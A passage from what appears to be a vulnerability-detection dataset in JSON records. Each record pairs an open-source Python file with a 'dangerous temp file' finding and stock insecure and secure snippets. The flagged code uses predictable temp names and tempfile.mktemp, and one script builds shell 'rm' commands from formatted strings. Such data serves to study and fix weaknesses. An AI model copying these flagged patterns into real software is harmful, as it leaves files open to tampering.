= 'loc', how='outer')\n page = pd.merge(page, employer, on = 'loc', how='outer')\n page = pd.merge(page, control_number, on = 'loc', how='outer')\n page = pd.merge(page, employee_name, on = 'loc', how='outer')\n page = pd.merge(page, employee_address, on = 'loc', how='outer')\n page = pd.merge(page, medicare_wage_tip, on = 'loc', how='outer')\n return(page)\n\n\n \n########################################################################################\n# import file_1 - file_5\nfiles = ['file_1', 'file_2', 'file_3', 'file_4', 'file_5']\nfor f in files: \n print(f)\n file = r'\\...\\{}_image.pdf'.format(f)\n \n bundled = PdfFileReader(file)\n page_count = bundled.getNumPages()\n master = pd.DataFrame()\n for p in range(page_count):\n print('{}: page_{}'.format(f, p))\n current_page = bundled.getPage(p)\n pdf_writer = PdfFileWriter()\n pdf_writer.addPage(current_page)\n tempfile = r'\\...\\temp.pdf'\n with open(tempfile, \"wb\") as out:\n pdf_writer.write(out)\n pdf = pdfquery.PDFQuery(tempfile)\n pdf.load(0)\n label = pdf.pq('LTTextLineHorizontal:contains(\"{}\")'.format(\"Copy D\") ) \n if len(label)> 0:\n try:\n page = pdfscrape(pdf) \n page['page'] = p + 1\n page['source'] = f\n master = master.append(page, ignore_index = True)\n except:\n continue\n master.to_csv(r'\\...\\W2_Data_{}.csv'.format(f), index = False) \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 197, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "a9071f597501708bb31e782871b46644747a424d023ffbd780d02d67af934099", "license": {"spdx": ["Apache-2.0"], "repo": "chris0203/pmes", "path": "pdms/qtum_bridge/R8Storage/ipfs_storage.py", "repo_head_hexsha": "97df332b859803e9953f983dda3ca47d4bc35758", "stack_hexsha": "f0fdd232aec3c46849eb6de50513115801add0ba", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 37, "entireCode": "import ipfsapi\nimport signal\nfrom R8Storage.storage_handler import StorageHandler\nfrom os import remove\nfrom contextlib import contextmanager\n\n\n@contextmanager\ndef time_limit(seconds):\n def signal_handler(signum, frame):\n raise Exception(\"Timed out!\")\n signal.signal(signal.SIGALRM, signal_handler)\n signal.alarm(seconds)\n try:\n yield\n finally:\n signal.alarm(0)\n\n\nclass IpfsStorage(StorageHandler):\n\n def __init__(self, ipfs_api=None, time_limit=1):\n if ipfs_api is None:\n self.ipfs_api = ipfsapi.connect('127.0.0.1', 5001)\n else:\n self.ipfs_api = ipfs_api\n\n self.time_limit = time_limit\n\n @classmethod\n def from_host_port(cls, host='127.0.0.1', port=5001, time_limit=1):\n return cls(ipfsapi.connect(host, port), time_limit)\n\n def upload_data(self, content):\n file_name = 'temp.bak'\n\n with open(file_name, 'w') as ipfs_file:\n ipfs_file.write(IpfsStorage.encode_sc(content))\n\n ipfs_res = self.ipfs_api.add(file_name) # accepts only files\n ipfs_hash = ipfs_res['Hash']\n # print('data: ' + my_content)\n # print('file name: ' + file_name)\n # print('ipfs hash: ' + ipfs_hash)\n\n remove(file_name)\n\n return ipfs_hash\n\n def version(self):\n return self.ipfs_api\n\n def download_data(self, ipfs_hash):\n with time_limit(self.time_limit):\n content = self.ipfs_api.cat(ipfs_hash)\n return IpfsStorage.decode_sc(content)\n\n def set_time_limit(self, time_limit):\n self.time_limit = time_limit\n\n def get_time_limit(self):\n return self.time_limit\n\n def __getitem__(self, item):\n return self.download_data(item)\n\n @staticmethod\n def encode_sc(raw_data):\n hex_len = format(len(raw_data), '02x').rjust(8, '0')\n return hex_len + raw_data\n\n @staticmethod\n def decode_sc(ipfs_data):\n if ipfs_data[0:3] == b'000' or ipfs_data[0:3] == '000': # check if was encoded\n hexlen = ipfs_data[0:8]\n raw_data = ipfs_data[8:int(hexlen, 16)+8]\n return raw_data\n else:\n return ipfs_data\n\n\nif __name__ == '__main__':\n encoded = IpfsStorage.encode_sc('This is content that will be uploaded to ipfs')\n print(encoded)\n decoded = IpfsStorage.decode_sc(encoded)\n print(decoded)\n\n data = 'ipfs is good'\n print('data: ', data)\n r8_ipfs = IpfsStorage()\n hash = r8_ipfs.upload_data(data)\n print('hash: ', hash)\n print('downloaded data: ', r8_ipfs.download_data('QmSxS1rgboA8UUH3WN3ih9K4YYRJEsDdyMuAqFxd25Dh2p'))", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 37, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "6a2bbb2c7f99587735af3ec26424dfbb26a27c7145863cfad8040985040ddf92", "license": {"spdx": ["MIT"], "repo": "Bolt64/protein_lab", "path": "source/get_atom_distances.py", "repo_head_hexsha": "7725f9d854539ec88bb80f4fa04107303acca7de", "stack_hexsha": "ea04e2ab321581864893337a7b0c6ad16de4ef4b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 139, "entireCode": "#!/usr/bin/env python\n\n\"\"\"\nThis defines the functions to get inter atomic\ndistances in the protein.\n\"\"\"\n\nimport pdb_parser as parser\nimport itertools as it\nimport math\nimport os\nfrom config import *\n\n# Some global constants. I'm so sorry. :(\n#ATOMS_TO_LOOK = (\" C\",)# \" H\", \" S\")\n#THRESHOLD = 10 # Angstroms\n#TO_CONSIDER = (' CD1',)# \" CD2\")\n#RESIDUE = \"LEU\"\n#naccess_location = \"/home/bolt/protein_lab/third-party/binaries/naccess2.1.1/naccess\"\n#reduce_location = \"/home/bolt/protein_lab/third-party/binaries/reduce\"\n\n\ndef get_distance(atom1, atom2):\n \"\"\"\n Returns distance between atom1 and atom2.\n \"\"\"\n return math.sqrt(sum((atom1[i]-atom2[i])**2 for i in 'xyz'))\n\ndef get_buried_residues(rsa_file, threshold=30):\n \"\"\"\n Takes an rsa file and returns the residues which less\n than threshold accessible.\n \"\"\"\n for line in open(rsa_file):\n if line.startswith(\"RES\"):\n temp=line.strip().split()\n res_no=int(temp[3])\n rel_accessibility=float((temp[7]))\n if rel_accessibility<=threshold:\n yield res_no\n\ndef get_buried_residues_pdb(pdb_file, threshold=30):\n \"\"\"\n Takes a pdb file and returns a list of residue numbers\n which are buried more than the threshold\n \"\"\"\n filename = pdb_file.split(\"/\")[-1][:-4]\n os.popen(\"{0} {1}\".format(naccess_location, pdb_file))\n result = list(get_buried_residues(filename+\".rsa\", threshold))\n os.popen(\"rm {}.rsa\".format(filename))\n os.popen(\"rm {}.asa\".format(filename))\n os.popen(\"rm {}.log\".format(filename))\n return result\n\ndef get_inner_residues(prot_pdb, list_of_res):\n \"\"\"\n Takes in a prot_pdb file and a list of residues\n and returns a pdb file with only the selected residues.\n \"\"\"\n res_nos={i for i in list_of_res}\n for atom in parser.parse_file(prot_pdb):\n if atom['resSeq'] in res_nos:\n yield parser.pdb_format(atom)\n\ndef filter_by_residue(residue, carbon_atoms):\n \"\"\"\n Higher order function that takes in a residue and carbon atoms\n and returns a function that only evaluates to true if the atom\n satisfies the criteria.\n \"\"\"\n def predicate(line):\n if line['resName']==residue and line['name'] in carbon_atoms:\n return True\n else:\n return False\n return predicate\n\ndef get_distances(pdb_file):\n \"\"\"\n Gets the pairwise distances of all the valid atoms in the protein.\n \"\"\"\n predicate=filter_by_residue(RESIDUE, TO_CONSIDER)\n for atom1,atom2 in it.combinations(parser.filter_line(parser.parse_file(pdb_file), predicate), 2):\n yield get_distance(atom1, atom2)\n\ndef filter_distance(list_of_distances, predicate):\n \"\"\"\n Takes a list of distances and filter through\n according to predicate.\n \"\"\"\n for distance in list_of_distances:\n if predicate(distance):\n yield distance\n\ndef distance_threshold(threshold):\n \"\"\"\n A higher order function that returns a predicate which\n is only true if the distance is less than threshold.\n \"\"\"\n def predicate(distance):\n if distance<=threshold:\n return True\n else:\n return False\n return predicate\n\ndef get_labeled_pairs(pdb_file):\n labeled_pairs={}\n for atom1, atom2 in it.combinations(parser.parse_file(pdb_file), 2):\n label=tuple(sorted(((atom1['resName'], atom1['name']),(atom2['resName'], atom2['name']))))\n labeled_pairs[label]=get_distance(atom1, atom2)\n return labeled_pairs\n\ndef write_labeled_pairs(labeled_pairs, output_file):\n with open(output_file, \"w\") as output:\n for pair in labeled_pairs:\n res1,res2=pair\n out_string=\"{0} {1} {2} {3} {4}\\n\".format(res1[0], res1[1], res2[0], res2[1], labeled_pairs[pair])\n output.write(out_string)\n\ndef read_labeled_pairs(pair_file):\n labeled_pairs={}\n for line in open(pair_file):\n a=line[0:3]\n b=line[4:8]\n c=line[9:12]\n d=line[13:17]\n e=float((line.strip().split()[-1]))\n labeled_pairs[((a,b),(c,d))]=e\n return labeled_pairs\n\ndef get_distances_from_core(pdb_file):\n \"\"\"\n This function does everything, reduces the protein, gets the core\n and then the distances. Very ugly though. :P\n \"\"\"\n os.popen(\"{0} {1} > temp1.pdb\".format(reduce_location, pdb_file))\n os.popen(\"{0} temp1.pdb\".format(naccess_location))\n temp_output=open(\"temp2.pdb\", \"w\")\n for l in get_inner_residues(\"temp1.pdb\", get_buried_residues(\"temp1.rsa\")):\n temp_output.write(l+\"\\n\")\n temp_output.close()\n for distance in filter_distance(get_distances(\"temp2.pdb\"), distance_threshold(THRESHOLD)):\n print(distance)\n os.popen(\"rm temp1.pdb\")\n os.popen(\"rm temp2.pdb\")\n os.popen(\"rm temp1.rsa\")\n os.popen(\"rm temp1.asa\")\n os.popen(\"rm temp1.log\")\n\nif __name__ == \"__main__\":\n from sys import argv\n get_distances_from_core(argv[-1])\n\n\"\"\"\nDiscarded functions\n\ndef get_subunit(subunit):\n def predicate(line):\n if line['chainID']==subunit:\n return True\n else:\n return False\n return predicate\n\ndef separate_by_res_no(pdb_file, subunit):\n separated_residues = {}\n for atom in parser.filter_line(parser.parse_file(pdb_file), get_subunit(subunit)):\n if atom['resName'] == \"LEU\" and atom['name'] in TO_CONSIDER:\n if not (atom['chainID'],atom['resSeq']) in separated_residues:\n separated_residues[(atom['chainID'], atom['resSeq'])] = []\n separated_residues[(atom['chainID'], atom['resSeq'])].append(atom)\n return separated_residues\n\ndef get_pairwise_distances(res1, res2):\n for atom1 in res1:\n if atom1['element'] in ATOMS_TO_LOOK:\n for atom2 in res2:\n if atom1['element'] in ATOMS_TO_LOOK:\n yield get_distance(atom1, atom2)\n\ndef make_pairs(separated_residues):\n for res1, res2 in it.combinations(separated_residues, 2):\n yield res1, res2\n\n\"\"\"", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 139, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "785dbeacd5054d4bb8cc6a6fc16ff035c0e3c88c104f57d3daaa75fe2c704af2", "license": {"spdx": ["MIT"], "repo": "adityabasu1/SocialComputing-CS60017-IITKGP-2020-Autumn", "path": "Assignment 3/19IE10002/task1/main.py", "repo_head_hexsha": "77424ada7a01c5563a5735ea3636148a3165c4e2", "stack_hexsha": "108316002bbf110fa91e74df93b234c9c0c84248", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 131, "entireCode": "#Creator: , 19IE10002\n\n\nimport os\nimport csv\nimport string\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nimport spacy\nimport fasttext\n\ncurr_dir_path = os.getcwd() #returns current directory path\ncommon = curr_dir_path[:-5] #since \"task1\" occupies 5 places. we slice it out to get out the common path where we'll add file names to enter that reqd dir\n\nfile_name = common + \"data\" + \"/\" + \"train.tsv\"\n#print(file_name) to check that we got the correct filepath\n\ntrain_df = pd.read_csv(file_name,delimiter = '\\t', encoding='utf-8', quoting = csv.QUOTE_NONE, error_bad_lines= False) #train data-frame using pandas\n\n#generating the required lists for train dataset\n#note that we purposely use lists since they are mutable and can be changed by the pre-processing function which we shall later define\n\ntrain_id = train_df['id'].tolist() #returns the list of values\ntrain_text = train_df['text'].tolist() #returns the list of text\ntrain_outcome = train_df['hateful'].tolist() #outcome as in 0 or 1. we get the list of values\n\n\nfile_name = common + \"data\" + \"/\" + \"test.tsv\"\n\ntest_df = pd.read_csv(file_name,delimiter = '\\t', encoding='utf-8', quoting = csv.QUOTE_NONE, error_bad_lines= False) #test data-frame\n\n#generating the required lists for test dataset\n\ntest_id = test_df['id'].tolist() #returns the list of values\ntest_text = test_df['text'].tolist() #returns the list of text\n\n#print(len(train_id)) confirming this gives 16112\n#print(len(test_id)) confirming this gives 5000\n\n#defining the pre-processing function\n\ndef pre_processing(L): #L is the list of inputs\n for w in range(len(L)):\n L[w] = L[w].lower()\n\n for w in range(len(L)):\n for ch in L[w]:\n if ch in string.punctuation: #string.punctuation contains all the lists\n L[w] = L[w].replace(ch,\"\")\n\n#now pre-processing our lists\npre_processing(train_text)\npre_processing(test_text)\n\n#Random Forest Classifier(first part of first task)\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nvectorizer = TfidfVectorizer()\n\ntrain_embeddings = vectorizer.fit_transform(train_text) #creating embeddings\nrcf = RandomForestClassifier(n_estimators = 128)\nrcf.fit(train_embeddings, train_outcome) #fitting the training data to get our model\n\n\ntest_embeddings = vectorizer.transform(test_text)\ntest_outcome = rcf.predict(test_embeddings) #generating our prediction in a list\n\n#will write it to our file\nmy_list = []\nmy_list.append(['id','hateful'])\n\nfor i in range(len(test_id)):\n my_list.append(list( (test_id[i],test_outcome[i]) ))\n\nos.mkdir(common + \"/\" + \"predictions\")\nos.chdir(common + \"/\" + \"predictions\")\n\nwith open('RF.csv', 'w', newline='\\n') as f:\n writer = csv.writer(f)\n writer.writerows(my_list)\n \nf.close()\n\n#second part of task1\n\nos.chdir(common + \"/\" + \"task1\")\n\nfrom sklearn.svm import SVC\n\nop = spacy.load('en_core_web_md')\ntrain_embeddings = []\n\nfor line in train_text: #first we shall generate embeddings\n train_embeddings.append(op(line).vector)\n\ncf = SVC()\ncf.fit(train_embeddings,train_outcome)\n\n\ntest_embeddings = []\nfor line in test_text:\n test_embeddings.append(op(line).vector)\n\ntest_outcome = cf.predict(test_embeddings)\n\nmy_list = []\nmy_list.append(['id','hateful'])\n\nfor i in range(len(test_id)):\n my_list.append(list( (test_id[i],test_outcome[i]) ))\n\nos.chdir(common + \"/\" + \"predictions\")\n\nwith open('SVM.csv', 'w', newline='\\n') as f:\n writer = csv.writer(f)\n writer.writerows(my_list)\n\nf.close()\n\n#third part of first task\n\nos.chdir(common + \"/\" + \"task1\")\n\nft_list = [] #this is the fasttext list\n\nfor i in range(len(train_id)): #generating data in fasttext format\n ft_list.append(\"__label__\" + str(train_outcome[i]) + \" \" + train_text[i])\n\nwith open('temp.txt', 'w') as f: #writing the list to a text file #temp.txt will be generated\n for item in ft_list:\n f.write(\"%s\\n\" % item)\n\nmodel = fasttext.train_supervised('temp.txt')\t#generating our model\n\ntest_outcome = []\n\nfor t in test_text:\n test_outcome.append( (model.predict(t))[0][0][-1] )\t#getting the label from the prediction\n\nmy_list = []\nmy_list.append(['id','hateful'])\n\nfor i in range(len(test_id)):\n my_list.append(list( (test_id[i],test_outcome[i]) ))\n\nos.chdir(common + \"/\" + \"predictions\")\n\nwith open('FT.csv', 'w', newline='\\n') as f:\n writer = csv.writer(f)\n writer.writerows(my_list)\n\nf.close()\n", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 131, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "03ced8b9430971e5fc06bb8aaf5c0482b244943d672cbe82f487ddbb69e75fda", "license": {"spdx": ["MIT"], "repo": "sabaini/rpyc", "path": "tests/test_threaded_server.py", "repo_head_hexsha": "6b1a6665623b39fca580f53083f30ac7277531fc", "stack_hexsha": "6172c02771eaeac9579941ebcce1d4fde41fa60f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 47, "entireCode": "import os\nimport rpyc\nimport tempfile\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport unittest\n\n\nclass Test_ThreadedServer(unittest.TestCase):\n\n def setUp(self):\n self.server = ThreadedServer(SlaveService, port=18878, auto_register=False)\n self.server.logger.quiet = False\n self.server._start_in_thread()\n\n def tearDown(self):\n self.server.close()\n\n def test_connection(self):\n conn = rpyc.classic.connect(\"localhost\", port=18878)\n print(conn.modules.sys)\n print(conn.modules[\"xml.dom.minidom\"].parseString(\"\"))\n conn.execute(\"x = 5\")\n self.assertEqual(conn.namespace[\"x\"], 5)\n self.assertEqual(conn.eval(\"1+x\"), 6)\n conn.close()\n\n def test_instancecheck_across_connections(self):\n conn = rpyc.classic.connect(\"localhost\", port=18878)\n conn2 = rpyc.classic.connect(\"localhost\", port=18878)\n conn.execute(\"import test_magic\")\n conn2.execute(\"import test_magic\")\n foo = conn.modules.test_magic.Foo()\n bar = conn.modules.test_magic.Bar()\n self.assertTrue(isinstance(foo, conn.modules.test_magic.Foo))\n self.assertTrue(isinstance(bar, conn2.modules.test_magic.Bar))\n self.assertFalse(isinstance(bar, conn.modules.test_magic.Foo))\n with self.assertRaises(TypeError):\n isinstance(conn.modules.test_magic.Foo, bar)\n conn.close()\n conn2.close()\n\n\nclass Test_ThreadedServerOverUnixSocket(unittest.TestCase):\n\n def setUp(self):\n self.socket_path = tempfile.mktemp()\n self.server = ThreadedServer(SlaveService, socket_path=self.socket_path, auto_register=False)\n self.server.logger.quiet = False\n self.server._start_in_thread()\n\n def tearDown(self):\n self.server.close()\n os.remove(self.socket_path)\n\n def test_connection(self):\n c = rpyc.classic.unix_connect(self.socket_path)\n print(c.modules.sys)\n print(c.modules[\"xml.dom.minidom\"].parseString(\"\"))\n c.execute(\"x = 5\")\n self.assertEqual(c.namespace[\"x\"], 5)\n self.assertEqual(c.eval(\"1+x\"), 6)\n c.close()\n\n\nclass Test_ThreadPoolServer(Test_ThreadedServer):\n\n def setUp(self):\n self.server = ThreadPoolServer(SlaveService, port=18878, auto_register=False)\n self.server.logger.quiet = False\n self.server._start_in_thread()\n\n\nif __name__ == \"__main__\":\n unittest.main()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 47, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badlib", "params": {"arg0": "tempfile.mktemp"}}]}} {"id": "9dea24de34da9a6677a2fb63995d143a7f998d9907df699a4b02eb2a63d5860a", "license": {"spdx": ["Apache-2.0"], "repo": "rizkiailham/two-stream-action-recognition-1", "path": "frame_dataloader/spatial_dataloader.py", "repo_head_hexsha": "01221f668e62eb26e3593f4ecd3f257b6b6979ab", "stack_hexsha": "602c28a9205e1c1670c905a216255ec8e326af0a", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 74, "entireCode": "\"\"\"\n********************************\n* Created by mohammed-alaa *\n********************************\nSpatial Dataloader implementing sequence api from keras (defines how to load a single item)\nthis loads batches of images for each iteration it returns [batch_size, height, width ,3] ndarrays\n\"\"\"\nimport copy\nimport random\n\nimport cv2\nimport numpy as np\nimport tensorflow.keras as keras\n\nfrom .UCF_splitting_kernel import *\nfrom .helpers import get_training_augmenter, get_validation_augmenter\n\n\nclass SpatialSequence(keras.utils.Sequence):\n def __init__(self, data_to_load, data_root_path, batch_size, is_training, augmenter):\n \"\"\"get data structure to load data\"\"\"\n # list of (video names,frame/max_frame,label)\n self.data_to_load = copy.deepcopy(data_to_load)\n self.batch_size = batch_size\n self.is_training = is_training\n\n self.augmenter = copy.deepcopy(augmenter)\n\n self.data_root_path = data_root_path\n\n self.video_names, self.frames, self.labels = [list(one_of_three_tuples) for one_of_three_tuples in zip(*self.data_to_load)] # three lists\n\n def __len__(self):\n \"\"\"Denotes the number of batches per epoch\"\"\"\n return (len(self.video_names) + self.batch_size - 1) // self.batch_size # ceiling div\n\n def get_actual_length(self):\n \"\"\"Denotes the total number of samples\"\"\"\n return len(self.video_names)\n\n def __getitem__(self, batch_start):\n \"\"\"Gets one batch\"\"\"\n batch_video_names = self.video_names[batch_start * self.batch_size:(batch_start + 1) * self.batch_size]\n batch_frames = self.frames[batch_start * self.batch_size:(batch_start + 1) * self.batch_size]\n batch_y = np.array(self.labels[batch_start * self.batch_size:(batch_start + 1) * self.batch_size])\n\n batch_x = [] # could be less or equal batch size\n #\n for vid_id, _ in enumerate(batch_y):\n if self.is_training: # max frame is given\n frame_id = random.randint(1, batch_frames[vid_id]) # random frame (one based)\n else:\n frame_id = batch_frames[vid_id] # just as selected\n\n batch_x.append(\n cv2.cvtColor(cv2.imread(os.path.join(self.data_root_path, \"v_\" + batch_video_names[vid_id], 'frame{}'.format(str(frame_id).zfill(6)) + '.jpg')), cv2.COLOR_BGR2RGB)\n )\n\n if self.is_training:\n return np.array(self.augmenter.augment_images(batch_x), dtype=np.float32) / 255.0, batch_y\n else:\n # no label needed since (test_video_to_label mapping) (dictionary of name to label) is returned\n return batch_video_names, np.array(self.augmenter.augment_images(batch_x), dtype=np.float32) / 255.0\n\n def shuffle_and_reset(self):\n \"\"\"\n new data for the next epoch\n \"\"\"\n random.shuffle(self.data_to_load)\n self.video_names, self.frames, self.labels = [list(one_of_three_tuples) for one_of_three_tuples in zip(*self.data_to_load)] # shuffle all\n\n\nclass SpatialDataLoader:\n def __init__(self, batch_size, testing_samples_per_video, width, height, log_stream=open(\"/tmp/null.log\", \"w\"), augmenter_level=1, data_root_path='./jpegs_256/', ucf_list_path='./UCF_list/', ucf_split='01'):\n \"\"\"\n get the mapping and initialize the augmenter\n \"\"\"\n self.batch_size = batch_size\n self.width, self.height = width, height\n self.data_root_path = data_root_path\n self.testing_samples_per_video = testing_samples_per_video\n self.log_stream = log_stream\n # split the training and testing videos\n data_util_ = DataUtil(path=ucf_list_path, split=ucf_split)\n self.train_video_to_label, self.test_video_to_label = data_util_.get_train_test_video_to_label_mapping() # name without v_ or .avi and small s .. name to numeric label starts at 0\n\n # get video frames\n self.video_frame_count = data_util_.get_video_frame_count() # name without v_ or .avi and small s\n\n self.augmenter_level = augmenter_level\n\n def run(self):\n \"\"\"\n get the data structure for training and validation\n \"\"\"\n train_loader = self.get_training_loader()\n val_loader = self.get_testing_loader()\n\n return train_loader, val_loader, self.test_video_to_label\n\n def get_training_data_structure(self):\n \"\"\"\n get the data structure for training\n \"\"\"\n training_data_structure = [] # list of (video names,frame/max_frame,label)\n for video_name in self.train_video_to_label: # sample from the whole video frames\n training_data_structure.append((video_name, self.video_frame_count[video_name], self.train_video_to_label[video_name]))\n\n return training_data_structure\n\n def get_testing_data_structure(self):\n \"\"\"\n get the data structure for validation\n \"\"\"\n test_data_structure = [] # list of (video names,frame/max_frame,label)\n for video_name in self.test_video_to_label:\n nb_frame = self.video_frame_count[video_name]\n interval = nb_frame // self.testing_samples_per_video\n\n if interval == 0: # for videos shorter than self.testing_samples_per_video\n interval = 1\n\n # range is exclusive add one to be inclusive\n # 1 > self.testing_samples_per_video * interval\n for frame_idx in range(1, min(self.testing_samples_per_video * interval, nb_frame) + 1, interval):\n test_data_structure.append((video_name, frame_idx, self.test_video_to_label[video_name]))\n\n return test_data_structure\n\n def get_training_loader(self):\n \"\"\"\n an instance of sequence loader for spatial model for parallel dataloading using keras sequence\n \"\"\"\n loader = SpatialSequence(data_to_load=self.get_training_data_structure(),\n data_root_path=self.data_root_path,\n batch_size=self.batch_size,\n is_training=True,\n augmenter=get_training_augmenter(height=self.height, width=self.width, augmenter_level=self.augmenter_level),\n )\n\n print('==> Training data :', len(loader.data_to_load), 'videos', file=self.log_stream)\n print('==> Training data :', len(loader.data_to_load), 'videos')\n return loader\n\n def get_testing_loader(self):\n \"\"\"\n an instance of sequence loader for spatial model for parallel dataloading using keras sequence\n \"\"\"\n\n loader = SpatialSequence(data_to_load=self.get_testing_data_structure(),\n data_root_path=self.data_root_path,\n batch_size=self.batch_size,\n is_training=False,\n augmenter=get_validation_augmenter(height=self.height, width=self.width),\n )\n\n print('==> Validation data :', len(loader.data_to_load), 'frames', file=self.log_stream)\n print('==> Validation data :', len(loader.data_to_load), 'frames')\n return loader\n\n\nif __name__ == '__main__':\n data_loader = SpatialDataLoader(batch_size=64, use_multiprocessing=True, # data_root_path=\"data\",\n ucf_split='01',\n testing_samples_per_video=19, width=224, height=224, num_workers=2)\n train_loader, test_loader, test_video_level_label = data_loader.run()\n\n print(len(train_loader))\n print(len(test_loader))\n\n print(train_loader.get_actual_length())\n print(test_loader.get_actual_length())\n\n print(train_loader.sequence[0][0].shape, train_loader.sequence[0][1].shape)\n print(train_loader[0][0].shape, train_loader[0][1].shape)\n # import tqdm\n # progress = tqdm.tqdm(train_loader.get_epoch_generator(), total=len(train_loader))\n\n # for (sampled_frame, label) in progress:\n # pass\n\n import matplotlib.pyplot as plt\n\n\n # preview raw data\n def preview(data, labels):\n # 3 channels\n fig, axeslist = plt.subplots(ncols=8, nrows=8, figsize=(10, 10))\n\n for i, sample in enumerate(data):\n axeslist.ravel()[i].imshow(data[i])\n axeslist.ravel()[i].set_title(labels[i])\n axeslist.ravel()[i].set_axis_off()\n\n plt.subplots_adjust(wspace=.4, hspace=.4)\n\n\n print(\"train sample\")\n for batch in train_loader.get_epoch_generator():\n print(batch[0].shape, batch[1].shape)\n print(batch[1])\n preview(batch[0], batch[1])\n\n break\n print(\"test sample\") # same name will be displayed testing_samples_per_video with no shuffling\n for batch in test_loader.get_epoch_generator():\n print(batch[1].shape, batch[2].shape)\n print(batch[0], batch[2])\n preview(batch[1], batch[2])\n\n break", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 74, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "81032a1da6392fa2d79ec87f53cb8a7448721e7c9bc5eb1520f0021d10e106d4", "license": {"spdx": ["MIT"], "repo": "IntelliGrape/pennypincher", "path": "utils/slack_send.py", "repo_head_hexsha": "d0d503eb8a480bf28f308ff52834170cca5a53d7", "stack_hexsha": "736056399bf64b21d6f7dca419596b81048da99f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 29, "entireCode": "from tabulate import tabulate\nfrom slack.errors import 